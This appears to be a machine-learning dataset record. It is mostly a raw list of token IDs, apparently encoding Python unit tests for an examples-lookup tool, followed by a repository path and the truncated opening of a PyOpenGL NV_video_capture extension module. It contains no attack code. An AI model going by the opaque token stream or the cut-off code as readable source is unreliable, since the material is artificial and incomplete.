7464,
13,
4706,
525,
1366,
471,
28684,
742,
13,
4706,
525,
1366,
471,
269,
802,
6096,
287,
742,
13,
4706,
1014,
2580,
29918,
10853,
29892,
13,
4706,
1014,
2580,
29918,
10853,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
19826,
29918,
497,
29918,
689,
23980,
7295,
13,
1678,
9995,
13,
1678,
1932,
671,
29918,
2780,
29892,
269,
802,
29872,
911,
29892,
322,
11684,
526,
599,
8760,
29891,
29892,
599,
278,
15998,
13,
1678,
881,
367,
7436,
297,
393,
1797,
29889,
13,
1678,
9995,
13,
1678,
6257,
29918,
10853,
353,
525,
1552,
6257,
1298,
363,
4595,
15998,
29915,
13,
1678,
1014,
2580,
29918,
10853,
353,
525,
1491,
2580,
338,
278,
1833,
2655,
2000,
577,
881,
367,
278,
1121,
29915,
13,
1678,
903,
20907,
29918,
9294,
29918,
689,
19667,
29918,
10853,
29898,
13,
4706,
6257,
29918,
10853,
29892,
13,
4706,
5852,
29892,
13,
4706,
525,
5372,
2927,
2295,
742,
13,
4706,
5852,
29892,
13,
4706,
6024,
509,
2806,
29891,
742,
525,
1761,
7464,
13,
4706,
525,
1366,
471,
28684,
742,
13,
4706,
525,
1366,
471,
269,
802,
6096,
287,
742,
13,
4706,
1014,
2580,
29918,
10853,
29892,
13,
4706,
1014,
2580,
29918,
10853,
13,
1678,
1723,
13,
13,
13,
1753,
903,
657,
29918,
1445,
29918,
294,
29918,
1807,
29898,
2084,
1125,
13,
1678,
9995,
2577,
278,
8118,
310,
278,
934,
408,
263,
1347,
1213,
15945,
13,
1678,
411,
1722,
29898,
2084,
29892,
525,
29878,
1495,
408,
285,
29901,
13,
4706,
848,
353,
285,
29889,
949,
580,
13,
1678,
736,
848,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
29879,
802,
6096,
287,
29918,
10853,
29918,
15728,
368,
29918,
29879,
802,
6096,
267,
7295,
13,
1678,
9995,
13,
1678,
8680,
269,
802,
29872,
911,
1158,
881,
1101,
1749,
15687,
29892,
607,
338,
304,
3349,
278,
13,
1678,
9654,
1196,
1546,
263,
6139,
322,
385,
1342,
29892,
304,
3013,
1023,
9654,
3454,
13,
1678,
1546,
13926,
29892,
322,
6467,
505,
871,
2323,
9654,
3454,
29889,
13,
1678,
9995,
13,
1678,
9644,
802,
6096,
287,
353,
903,
657,
29918,
1445,
29918,
294,
29918,
1807,
29898,
10145,
29918,
29965,
3059,
11144,
29923,
29999,
3352,
29918,
7724,
29897,
13,
1678,
396,
278,
3646,
269,
802,
6096,
287,
1962,
338,
263,
3407,
5314,
297,
13,
1678,
396,
282,
9970,
29918,
29879,
802,
6096,
287,
29889,
3487,
29889,
13,
1678,
3646,
353,
903,
657,
29918,
1445,
29918,
294,
29918,
1807,
29898,
10145,
29918,
29903,
11144,
29923,
29999,
3352,
29918,
7724,
29897,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
29879,
802,
6096,
287,
29918,
10853,
29898,
6948,
802,
6096,
287,
29897,
13,
13,
1678,
4974,
3935,
1275,
3646,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
22492,
277,
3860,
29918,
10853,
29918,
3179,
793,
29918,
6310,
29918,
1491,
29879,
7295,
13,
1678,
9995,
26521,
881,
367,
20917,
565,
727,
526,
694,
23697,
29879,
1213,
15945,
13,
1678,
10650,
29918,
10853,
353,
525,
1366,
881,
451,
367,
1014,
2580,
29915,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
22492,
277,
3860,
29918,
10853,
29898,
1610,
29918,
10853,
29892,
518,
2314,
13,
1678,
4974,
3935,
1275,
10650,
29918,
10853,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
22492,
277,
3860,
29918,
10853,
29918,
22492,
277,
2667,
29918,
29883,
4293,
29918,
15728,
29918,
23515,
7295,
13,
1678,
9995,
13,
1678,
450,
679,
29918,
22492,
277,
3860,
29918,
10853,
1158,
5717,
2712,
297,
278,
1959,
1797,
29889,
13,
1678,
9995,
13,
1678,
1014,
29918,
650,
353,
26297,
29898,
6921,
29918,
6550,
29922,
22492,
12356,
29889,
4035,
303,
5008,
29897,
13,
1678,
1014,
29918,
650,
29918,
2914,
353,
525,
2914,
310,
1014,
697,
29915,
13,
1678,
1014,
29918,
650,
29889,
7302,
29918,
392,
29918,
657,
29918,
2914,
29889,
2457,
29918,
1767,
353,
1014,
29918,
650,
29918,
2914,
13,
13,
1678,
1014,
29918,
10184,
353,
26297,
29898,
6921,
29918,
6550,
29922,
22492,
12356,
29889,
4035,
303,
5008,
29897,
13,
1678,
1014,
29918,
10184,
29918,
2914,
353,
525,
2914,
310,
1014,
1023,
29915,
13,
1678,
1014,
29918,
10184,
29889,
7302,
29918,
392,
29918,
657,
29918,
2914,
29889,
2457,
29918,
1767,
353,
1014,
29918,
10184,
29918,
2914,
13,
13,
1678,
6257,
29918,
10853,
353,
525,
1552,
1347,
591,
881,
367,
5960,
12937,
292,
964,
29915,
13,
1678,
3646,
353,
1014,
29918,
10184,
29918,
2914,
13,
1678,
11684,
353,
518,
1491,
29918,
650,
29892,
1014,
29918,
10184,
29962,
13,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
22492,
277,
3860,
29918,
10853,
29898,
2962,
292,
29918,
10853,
29892,
11684,
29897,
13,
13,
1678,
1014,
29918,
650,
29889,
7302,
29918,
392,
29918,
657,
29918,
2914,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
2962,
292,
29918,
10853,
29897,
13,
1678,
1014,
29918,
10184,
29889,
7302,
29918,
392,
29918,
657,
29918,
2914,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
1491,
29918,
650,
29918,
2914,
29897,
13,
13,
1678,
4974,
3935,
1275,
3646,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
22492,
277,
3860,
29918,
10853,
29918,
22492,
277,
2667,
29918,
15728,
368,
7295,
13,
1678,
9995,
13,
1678,
19219,
1243,
304,
1207,
1854,
3323,
303,
5008,
29879,
508,
679,
7436,
5149,
29889,
13,
1678,
9995,
13,
1678,
1014,
29918,
650,
353,
23764,
29889,
4035,
303,
5008,
877,
5431,
742,
525,
1646,
742,
7700,
29897,
13,
1678,
1014,
29918,
10184,
353,
23764,
29889,
4035,
303,
5008,
877,
1646,
29905,
29876,
29905,
29876,
742,
525,
27975,
29905,
29876,
742,
5852,
29897,
13,
13,
1678,
1369,
353,
525,
5431,
29905,
29876,
29905,
29876,
1554,
1683,
29905,
29876,
29905,
29876,
1678,
2594,
29905,
29876,
29905,
29876,
29915,
13,
1678,
3646,
353,
525,
27975,
29905,
29876,
1554,
1683,
29905,
29876,
29905,
29876,
1678,
12741,
29905,
29876,
29915,
13,
13,
1678,
11684,
353,
518,
1491,
29918,
650,
29892,
1014,
29918,
10184,
29962,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
22492,
277,
3860,
29918,
10853,
29898,
2962,
29892,
11684,
29897,
13,
13,
1678,
4974,
3935,
1275,
3646,
13,
13,
13,
29992,
5041,
877,
387,
29889,
2780,
29889,
29923,
29887,
3306,
3950,
1495,
13,
1753,
1243,
29918,
657,
29918,
2780,
1891,
29918,
10853,
29918,
29883,
4293,
29918,
23515,
29898,
5041,
287,
29918,
2780,
3950,
29918,
1990,
1125,
13,
1678,
9995,
13,
1678,
1334,
881,
1246,
278,
1959,
3519,
373,
278,
14304,
3306,
3950,
3618,
746,
591,
2927,
13,
1678,
263,
934,
29889,
13,
1678,
9995,
13,
1678,
10650,
29918,
10853,
353,
525,
386,
968,
526,
443,
2780,
287,
8118,
29915,
13,
1678,
28684,
29918,
10853,
353,
525,
3217,
3927,
19386,
29901,
525,
718,
10650,
29918,
10853,
13,
1678,
2927,
29918,
2917,
353,
525,
5372,
2927,
2295,
29915,
13,
13,
1678,
396,
450,
3935,
2777,
2825,
491,
1438,
5717,
338,
6087,
472,
736,
29918,
1767,
29889,
13,
1678,
2927,
3950,
29918,
8758,
353,
13261,
287,
29918,
2780,
3950,
29918,
1990,
29889,
2457,
29918,
1767,
13,
1678,
2927,
3950,
29918,
8758,
29889,
2780,
675,
29918,
726,
29889,
2457,
29918,
1767,
353,
28684,
29918,
10853,
13,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
2780,
1891,
29918,
10853,
29898,
1610,
29918,
10853,
29892,
2927,
29918,
2917,
29897,
13,
13,
1678,
4974,
3935,
1275,
28684,
29918,
10853,
13,
1678,
2927,
3950,
29918,
8758,
29889,
2780,
675,
29918,
726,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
1610,
29918,
10853,
29897,
13,
13,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
19973,
29918,
8977,
1495,
13,
1753,
903,
20907,
29918,
9294,
29918,
657,
29918,
9778,
1490,
29918,
8860,
29898,
13,
1678,
1824,
29892,
13,
1678,
11527,
29918,
8860,
29892,
13,
1678,
2295,
29918,
5415,
29892,
13,
1678,
13995,
29918,
8977,
29892,
13,
1678,
11187,
29918,
8977,
29892,
13,
1125,
13,
1678,
9995,
13,
1678,
1824,
29901,
278,
1824,
304,
11527,
363,
408,
385,
13995,
13,
1678,
11527,
29918,
8860,
29901,
278,
1121,
310,
278,
10104,
29889,
13,
1678,
2295,
29918,
5415,
29901,
278,
2295,
29918,
5415,
304,
671,
29363,
8814,
278,
13995,
2224,
13,
1678,
13995,
29918,
8977,
29901,
278,
9657,
310,
14430,
2129,
304,
367,
4133,
13,
1678,
9995,
13,
1678,
11187,
29918,
8977,
29889,
2457,
29918,
1767,
353,
13995,
29918,
8977,
13,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
9778,
1490,
29918,
8860,
29898,
8860,
29892,
2295,
29918,
5415,
29897,
13,
1678,
4974,
3935,
1275,
11527,
29918,
8860,
13,
1678,
11187,
29918,
8977,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
2917,
29918,
5415,
29897,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
9778,
1490,
29918,
8860,
29918,
1217,
29918,
19973,
7295,
13,
1678,
9995,
13,
1678,
319,
1824,
393,
338,
451,
385,
13995,
881,
736,
3528,
29889,
13,
1678,
9995,
13,
1678,
13995,
29918,
8977,
353,
426,
13,
4706,
525,
2324,
2396,
525,
3083,
742,
13,
4706,
525,
17608,
2396,
525,
1212,
4117,
29915,
13,
1678,
500,
13,
1678,
2295,
29918,
5415,
353,
525,
29874,
2295,
29915,
13,
1678,
903,
20907,
29918,
9294,
29918,
657,
29918,
9778,
1490,
29918,
8860,
877,
2324,
742,
525,
3083,
742,
2295,
29918,
5415,
29892,
13995,
29918,
8977,
29897,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
9778,
1490,
29918,
8860,
29918,
275,
29918,
19973,
7295,
13,
1678,
9995,
13,
1678,
319,
1824,
393,
338,
385,
13995,
881,
736,
278,
11527,
995,
29889,
13,
1678,
9995,
13,
1678,
13995,
29918,
8977,
353,
426,
13,
4706,
525,
2324,
2396,
525,
3083,
742,
13,
4706,
525,
17608,
2396,
525,
1212,
4117,
29915,
13,
1678,
500,
13,
1678,
2295,
29918,
5415,
353,
525,
5372,
716,
2295,
29915,
13,
1678,
903,
20907,
29918,
9294,
29918,
657,
29918,
9778,
1490,
29918,
8860,
877,
6814,
742,
525,
6814,
742,
2295,
29918,
5415,
29892,
13995,
29918,
8977,
29897,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
19973,
29918,
8977,
29918,
18280,
29918,
10853,
29918,
974,
29918,
15728,
29918,
1445,
7295,
13,
1678,
9995,
13,
1678,
679,
29918,
19973,
29918,
8977,
881,
1303,
848,
515,
278,
934,
472,
278,
2322,
2224,
29889,
13,
1678,
9995,
13,
1678,
13995,
29918,
8977,
353,
426,
13,
4706,
525,
2324,
2396,
525,
3083,
742,
13,
4706,
525,
17608,
2396,
525,
1212,
4117,
29915,
13,
1678,
500,
13,
1678,
2295,
29918,
5415,
353,
903,
3258,
29918,
2917,
29898,
13,
4706,
6455,
29918,
3972,
2433,
2084,
29914,
517,
29914,
19057,
29914,
3972,
742,
13,
1678,
1723,
13,
13,
1678,
13995,
29918,
1445,
29918,
2084,
353,
525,
2084,
29914,
517,
29914,
19973,
29914,
1445,
29915,
13,
1678,
13995,
29918,
8977,
29918,
710,
353,
4390,
29889,
29881,
17204,
29898,
19973,
29918,
8977,
29897,
13,
1678,
903,
20907,
29918,
9294,
29918,
657,
29918,
19973,
29918,
8977,
29898,
13,
4706,
13995,
29918,
8977,
29918,
710,
29892,
13,
4706,
13995,
29918,
8977,
29892,
13,
4706,
2295,
29918,
5415,
29892,
13,
4706,
13995,
29918,
1445,
29918,
2084,
29892,
13,
4706,
5852,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
19973,
29918,
8977,
29918,
29888,
2234,
29918,
3874,
346,
3730,
29918,
361,
29918,
1333,
29918,
1445,
7295,
13,
1678,
9995,
13,
1678,
4001,
4160,
508,
6084,
263,
3884,
363,
6455,
393,
1795,
451,
1712,
278,
13,
1678,
14430,
2129,
934,
29892,
591,
864,
304,
4418,
17659,
3730,
565,
278,
934,
1838,
29915,
29873,
1863,
29889,
13,
1678,
9995,
13,
1678,
8118,
29918,
974,
29918,
19973,
29918,
8977,
29918,
1445,
353,
525,
9344,
2360,
367,
7450,
29915,
13,
1678,
2295,
29918,
5415,
353,
903,
3258,
29918,
2917,
29898,
13,
4706,
6455,
29918,
3972,
2433,
2084,
29914,
517,
29914,
19057,
29914,
3972,
742,
13,
1678,
1723,
13,
1678,
13995,
29918,
1445,
29918,
2084,
353,
525,
2084,
29914,
517,
29914,
1552,
29914,
19973,
29914,
1445,
29915,
13,
1678,
903,
20907,
29918,
9294,
29918,
657,
29918,
19973,
29918,
8977,
29898,
13,
4706,
8118,
29918,
974,
29918,
19973,
29918,
8977,
29918,
1445,
29892,
13,
4706,
24335,
13,
4706,
2295,
29918,
5415,
29892,
13,
4706,
13995,
29918,
1445,
29918,
2084,
29892,
13,
4706,
7700,
13,
1678,
1723,
13,
13,
13,
29992,
5041,
877,
387,
29889,
4422,
3032,
657,
29918,
10853,
29918,
974,
29918,
1445,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
3032,
657,
29918,
19973,
29918,
1445,
29918,
2084,
1495,
13,
29992,
5041,
877,
359,
29889,
2084,
29889,
275,
1445,
1495,
13,
1753,
903,
20907,
29918,
9294,
29918,
657,
29918,
19973,
29918,
8977,
29898,
13,
1678,
8118,
29918,
974,
29918,
19973,
29918,
8977,
29918,
1445,
29892,
13,
1678,
3646,
29918,
19973,
29918,
8977,
29892,
13,
1678,
2295,
29918,
5415,
29892,
13,
1678,
13995,
29918,
1445,
29918,
2084,
29892,
13,
1678,
13995,
29918,
1445,
29918,
2084,
29918,
275,
29918,
1445,
29892,
13,
1678,
11187,
29918,
275,
29918,
1445,
29892,
13,
1678,
11187,
29918,
657,
29918,
19973,
29918,
1445,
29918,
2084,
29892,
13,
1678,
11187,
29918,
657,
29918,
10853,
29892,
13,
1125,
13,
1678,
9995,
13,
1678,
8118,
29918,
974,
29918,
19973,
29918,
8977,
29918,
1445,
29901,
278,
1347,
8118,
310,
278,
934,
15446,
278,
13,
4706,
8600,
310,
14430,
2129,
13,
1678,
3646,
29918,
19973,
29918,
8977,
29901,
278,
3646,
1121,
310,
679,
29918,
19973,
29918,
8977,
13,
1678,
2295,
29918,
5415,
29901,
278,
12782,
1203,
13,
1678,
13995,
29918,
1445,
29918,
2084,
29901,
278,
2224,
304,
367,
4133,
491,
903,
657,
29918,
19973,
29918,
1445,
29918,
2084,
13,
1678,
13995,
29918,
1445,
29918,
2084,
29918,
275,
29918,
1445,
29901,
5852,
565,
278,
13995,
2224,
338,
263,
934,
29892,
1683,
7700,
13,
1678,
9995,
13,
1678,
11187,
29918,
275,
29918,
1445,
29889,
2457,
29918,
1767,
353,
13995,
29918,
1445,
29918,
2084,
29918,
275,
29918,
1445,
13,
1678,
11187,
29918,
657,
29918,
19973,
29918,
1445,
29918,
2084,
29889,
2457,
29918,
1767,
353,
13995,
29918,
1445,
29918,
2084,
13,
1678,
11187,
29918,
657,
29918,
10853,
29889,
2457,
29918,
1767,
353,
8118,
29918,
974,
29918,
19973,
29918,
8977,
29918,
1445,
13,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
19973,
29918,
8977,
29898,
2917,
29918,
5415,
29897,
13,
13,
1678,
4974,
3935,
1275,
3646,
29918,
19973,
29918,
8977,
13,
13,
1678,
11187,
29918,
657,
29918,
19973,
29918,
1445,
29918,
2084,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
2917,
29918,
5415,
29897,
13,
1678,
11187,
29918,
275,
29918,
1445,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
19973,
29918,
1445,
29918,
2084,
29897,
13,
13,
1678,
565,
13995,
29918,
1445,
29918,
2084,
29918,
275,
29918,
1445,
29901,
13,
4706,
11187,
29918,
657,
29918,
10853,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
19973,
29918,
1445,
29918,
2084,
29897,
13,
1678,
1683,
29901,
13,
4706,
4974,
11187,
29918,
657,
29918,
10853,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
13,
13,
29992,
5041,
877,
359,
29889,
2084,
29889,
7122,
1495,
13,
1753,
1243,
29918,
657,
29918,
19973,
29918,
1445,
29918,
2084,
29898,
17640,
29918,
7122,
1125,
13,
1678,
9995,
13,
1678,
903,
657,
29918,
19973,
29918,
1445,
29918,
2084,
881,
925,
5988,
278,
1342,
4516,
322,
278,
13995,
934,
13,
1678,
1024,
29892,
304,
1207,
1854,
591,
1106,
297,
278,
1492,
2058,
363,
278,
934,
29889,
13,
1678,
9995,
13,
1678,
2295,
29918,
5415,
353,
903,
3258,
29918,
2917,
29898,
13,
4706,
6455,
29918,
3972,
2433,
3179,
29891,
29914,
29881,
13910,
29914,
19057,
29914,
3972,
742,
13,
1678,
1723,
13,
13,
1678,
5988,
29918,
2914,
353,
525,
2212,
1312,
2224,
29915,
13,
1678,
11187,
29918,
7122,
29889,
2457,
29918,
1767,
353,
5988,
29918,
2914,
13,
13,
1678,
3935,
353,
3667,
3032,
657,
29918,
19973,
29918,
1445,
29918,
2084,
29898,
2917,
29918,
5415,
29897,
13,
1678,
4974,
3935,
1275,
5988,
29918,
2914,
13,
1678,
11187,
29918,
7122,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
2295,
29918,
5415,
29889,
19057,
29918,
3972,
29892,
13,
4706,
3667,
29889,
1964,
29902,
3289,
29918,
7724,
29918,
5813,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
275,
29918,
4773,
29918,
1445,
29918,
3009,
29918,
361,
29918,
5349,
29918,
2146,
600,
861,
7295,
13,
1678,
9995,
13,
1678,
10575,
367,
1565,
565,
10614,
297,
8528,
19297,
1307,
29918,
7724,
29918,
14605,
29943,
25634,
29889,
13,
1678,
9995,
13,
1678,
934,
29918,
978,
353,
525,
2886,
29889,
3487,
29915,
13,
1678,
3935,
353,
3667,
3032,
275,
29918,
4773,
29918,
1445,
29898,
1445,
29918,
978,
29897,
13,
1678,
4974,
3935,
1275,
5852,
13,
13,
13,
1753,
1243,
29918,
275,
29918,
4773,
29918,
1445,
29918,
3009,
29918,
361,
29918,
1333,
29918,
2146,
600,
861,
7295,
13,
1678,
9995,
13,
1678,
10575,
367,
2089,
565,
278,
934,
947,
451,
1095,
297,
8528,
19297,
1307,
29918,
7724,
29918,
14605,
29943,
25634,
29889,
13,
1678,
9995,
13,
1678,
934,
29918,
978,
353,
525,
2606,
2129,
29889,
3126,
29915,
13,
1678,
3935,
353,
3667,
3032,
275,
29918,
4773,
29918,
1445,
29898,
1445,
29918,
978,
29897,
13,
1678,
4974,
3935,
1275,
7700,
13,
13,
13,
1753,
1243,
29918,
3068,
29918,
5510,
29918,
19973,
29918,
1445,
7295,
13,
1678,
9995,
13,
1678,
8561,
1854,
14430,
2129,
29889,
3126,
934,
508,
367,
21213,
29889,
13,
13,
1678,
910,
338,
304,
1207,
1854,
385,
3863,
1838,
29915,
29873,
11423,
635,
1034,
6685,
372,
29889,
13,
1678,
9995,
13,
1678,
396,
1334,
29915,
645,
505,
304,
2898,
401,
445,
29889,
13,
1678,
13995,
29918,
1445,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
13,
4706,
2295,
29889,
23397,
29918,
5746,
19297,
17101,
29918,
9464,
29892,
13,
4706,
3667,
29889,
1964,
29902,
3289,
29918,
7724,
29918,
5813,
13,
1678,
1723,
13,
1678,
13995,
29918,
1445,
29918,
10853,
353,
3667,
3032,
657,
29918,
10853,
29918,
974,
29918,
1445,
29898,
19973,
29918,
1445,
29918,
2084,
29897,
13,
1678,
13995,
29918,
8977,
353,
4390,
29889,
18132,
29898,
19973,
29918,
1445,
29918,
10853,
29897,
13,
1678,
396,
1334,
29915,
645,
1423,
393,
1544,
5771,
304,
301,
29876,
29892,
408,
591,
1073,
393,
697,
674,
367,
2198,
29889,
13,
1678,
4974,
13995,
29918,
8977,
1839,
2324,
2033,
1275,
525,
3083,
29915,
13,
13,
13,
29992,
5041,
877,
359,
29889,
2084,
29889,
9933,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
3032,
262,
689,
29918,
29883,
6735,
29918,
5628,
29918,
1217,
29918,
6341,
29918,
3972,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
9778,
1490,
29918,
8860,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
1495,
13,
29992,
5041,
877,
1491,
5014,
29889,
4804,
1495,
13,
1753,
1243,
29918,
5628,
29918,
6341,
29918,
19057,
29918,
15728,
29918,
2541,
29918,
6341,
29918,
3972,
29898,
13,
1678,
11187,
29918,
4804,
29892,
13,
1678,
11187,
29918,
657,
29918,
24772,
29892,
13,
1678,
11187,
29918,
657,
29918,
8860,
29892,
13,
1678,
11187,
29918,
262,
689,
29892,
13,
1678,
11187,
29918,
9933,
29892,
13,
1125,
13,
1678,
9995,
13,
1678,
1334,
881,
8814,
14430,
2129,
29892,
679,
278,
2888,
934,
2224,
29892,
322,
1246,
1014,
5014,
29889,
13,
1678,
9995,
13,
1678,
1824,
353,
525,
700,
29915,
13,
1678,
11527,
29918,
8860,
353,
525,
19973,
363,
868,
29915,
13,
1678,
2295,
353,
903,
3258,
29918,
2917,
29898,
6341,
29918,
3972,
2433,
2084,
29914,
517,
29914,
6341,
742,
6920,
29918,
9006,
2433,
29876,
1562,
1495,
13,
1678,
10898,
353,
6024,
2084,
29914,
517,
29914,
6341,
29914,
700,
29889,
3487,
742,
525,
5431,
29889,
3487,
2033,
13,
13,
1678,
11187,
29918,
657,
29918,
8860,
29889,
2457,
29918,
1767,
353,
11527,
29918,
8860,
13,
1678,
11187,
29918,
657,
29918,
24772,
29889,
2457,
29918,
1767,
353,
10898,
13,
1678,
11187,
29918,
9933,
29889,
2457,
29918,
1767,
353,
5852,
13,
13,
1678,
3667,
29889,
5628,
29918,
6341,
29918,
19057,
29898,
8860,
29892,
2295,
29897,
13,
13,
1678,
11187,
29918,
657,
29918,
8860,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
8860,
29892,
2295,
29897,
13,
1678,
11187,
29918,
657,
29918,
24772,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
9778,
1490,
29918,
8860,
29892,
2295,
29889,
6341,
29918,
3972,
29897,
13,
1678,
11187,
29918,
4804,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
4197,
2917,
29889,
15204,
29918,
9006,
29892,
10898,
29961,
29900,
24960,
13,
1678,
4974,
11187,
29918,
262,
689,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
13,
13,
29992,
5041,
877,
359,
29889,
2084,
29889,
9933,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
3032,
262,
689,
29918,
29883,
6735,
29918,
5628,
29918,
1217,
29918,
6341,
29918,
3972,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
9778,
1490,
29918,
8860,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
1495,
13,
29992,
5041,
877,
1491,
5014,
29889,
4804,
1495,
13,
1753,
1243,
29918,
5628,
29918,
6341,
29918,
19057,
29918,
1037,
1078,
29918,
1445,
29918,
361,
29918,
9290,
29918,
28997,
29898,
13,
1678,
11187,
29918,
4804,
29892,
13,
1678,
11187,
29918,
657,
29918,
24772,
29892,
13,
1678,
11187,
29918,
657,
29918,
8860,
29892,
13,
1678,
11187,
29918,
262,
689,
29892,
13,
1678,
11187,
29918,
9933,
29892,
13,
1125,
13,
1678,
1824,
353,
525,
700,
29915,
13,
1678,
11527,
29918,
8860,
353,
525,
19973,
29899,
1454,
29899,
700,
29915,
13,
1678,
2295,
353,
903,
3258,
29918,
2917,
29898,
6341,
29918,
3972,
2433,
2084,
29914,
517,
29914,
6341,
742,
6920,
29918,
9006,
2433,
29876,
1562,
1495,
13,
1678,
10898,
353,
5159,
13,
13,
1678,
11187,
29918,
657,
29918,
8860,
29889,
2457,
29918,
1767,
353,
11527,
29918,
8860,
13,
1678,
11187,
29918,
657,
29918,
24772,
29889,
2457,
29918,
1767,
353,
10898,
13,
1678,
11187,
29918,
9933,
29889,
2457,
29918,
1767,
353,
5852,
13,
13,
1678,
3667,
29889,
5628,
29918,
6341,
29918,
19057,
29898,
8860,
29892,
2295,
29897,
13,
13,
1678,
11187,
29918,
657,
29918,
8860,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
8860,
29892,
2295,
29897,
13,
1678,
11187,
29918,
657,
29918,
24772,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
9778,
1490,
29918,
8860,
29892,
2295,
29889,
6341,
29918,
3972,
29897,
13,
1678,
11187,
29918,
4804,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
518,
2917,
29889,
15204,
29918,
9006,
29892,
525,
2084,
29914,
517,
29914,
6341,
29914,
19973,
29899,
1454,
29899,
700,
29889,
3487,
11287,
13,
1678,
4974,
11187,
29918,
262,
689,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
13,
13,
13,
29992,
5041,
877,
359,
29889,
2084,
29889,
9933,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
3032,
262,
689,
29918,
29883,
6735,
29918,
5628,
29918,
1217,
29918,
6341,
29918,
3972,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
9778,
1490,
29918,
8860,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
1495,
13,
29992,
5041,
877,
1491,
5014,
29889,
4804,
1495,
13,
1753,
1243,
29918,
5628,
29918,
6341,
29918,
19057,
29918,
262,
9514,
29918,
361,
29918,
1217,
29918,
6341,
29918,
3972,
29898,
13,
1678,
11187,
29918,
4804,
29892,
13,
1678,
11187,
29918,
657,
29918,
24772,
29892,
13,
1678,
11187,
29918,
657,
29918,
8860,
29892,
13,
1678,
11187,
29918,
262,
689,
29892,
13,
1678,
11187,
29918,
9933,
29892,
13,
1125,
13,
1678,
9995,
13,
1678,
1334,
881,
1871,
278,
1404,
565,
896,
526,
1811,
304,
3863,
411,
694,
2888,
4516,
29889,
13,
13,
1678,
910,
881,
367,
1565,
565,
372,
338,
451,
731,
322,
565,
278,
2224,
947,
451,
1863,
29889,
13,
1678,
9995,
13,
1678,
1824,
353,
525,
20011,
29915,
13,
13,
1678,
396,
3824,
411,
694,
2888,
4516,
731,
29889,
13,
1678,
2295,
353,
903,
3258,
29918,
2917,
29898,
15204,
29918,
9006,
2433,
1403,
448,
29872,
1495,
13,
1678,
11187,
29918,
9933,
29889,
2457,
29918,
1767,
353,
5852,
13,
1678,
3667,
29889,
5628,
29918,
6341,
29918,
19057,
29898,
8860,
29892,
2295,
29897,
13,
1678,
4974,
11187,
29918,
262,
689,
29889,
4804,
29918,
2798,
1275,
29871,
29896,
13,
13,
1678,
396,
1126,
1286,
411,
372,
731,
541,
263,
5642,
29916,
9696,
2224,
29889,
13,
1678,
2295,
353,
903,
3258,
29918,
2917,
29898,
6341,
29918,
3972,
2433,
29914,
2084,
29914,
517,
29914,
6341,
742,
6920,
29918,
9006,
2433,
1403,
448,
29872,
1495,
13,
1678,
11187,
29918,
9933,
29889,
2457,
29918,
1767,
353,
7700,
13,
1678,
3667,
29889,
5628,
29918,
6341,
29918,
19057,
29898,
8860,
29892,
2295,
29897,
13,
1678,
4974,
11187,
29918,
262,
689,
29889,
4804,
29918,
2798,
1275,
29871,
29906,
13,
13,
1678,
4974,
11187,
29918,
4804,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
1678,
4974,
11187,
29918,
657,
29918,
24772,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
1678,
4974,
11187,
29918,
657,
29918,
8860,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
2
] |
PyOpenGL-3.0.2/OpenGL/raw/GL/NV/video_capture.py | frederica07/Dragon_Programming_Process | 0 | 150519 | '''Autogenerated by get_gl_extensions script, do not edit!'''
from OpenGL import platform as _p, constants as _cs, arrays
from OpenGL.GL import glget
import ctypes
EXTENSION_NAME = 'GL_NV_video_capture'
def _f( function ):
